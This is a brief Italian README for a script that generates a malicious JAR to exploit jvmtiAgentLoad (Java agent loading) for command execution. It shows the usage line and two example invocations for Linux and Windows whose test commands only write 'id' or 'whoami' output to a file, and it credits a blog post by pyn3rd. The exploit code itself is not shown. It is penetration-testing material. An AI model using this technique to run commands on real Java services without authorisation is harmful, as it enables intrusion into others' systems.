
Strumenti e codice per generare un JAR malevolo per sfruttare jvmtiAgentLoad
Strumenti e codice per generare un JAR dannoso per sfruttare jvmtiAgentLoad
$ bash create_jar.sh
Usage: create_jar.sh <TARGET_OS> <COMMAND>
Supported TARGET_OS options: linux|windows
Il seguente comando genera un JAR (mal.jar) che può essere utilizzato su un target Linux:
bash create_jar.sh linux 'id > /tmp/jvmtiLoadAgent_test'
Il seguente comando genera un JAR (mal.jar) che può essere utilizzato su un target Windows:
bash create_jar.sh windows 'whoami > C:\\Users\\Public\\jvmtiLoadAgent_test.txt'
Articolo del blog su come funziona l'exploit jvmtiAgentLoad di pyn3rd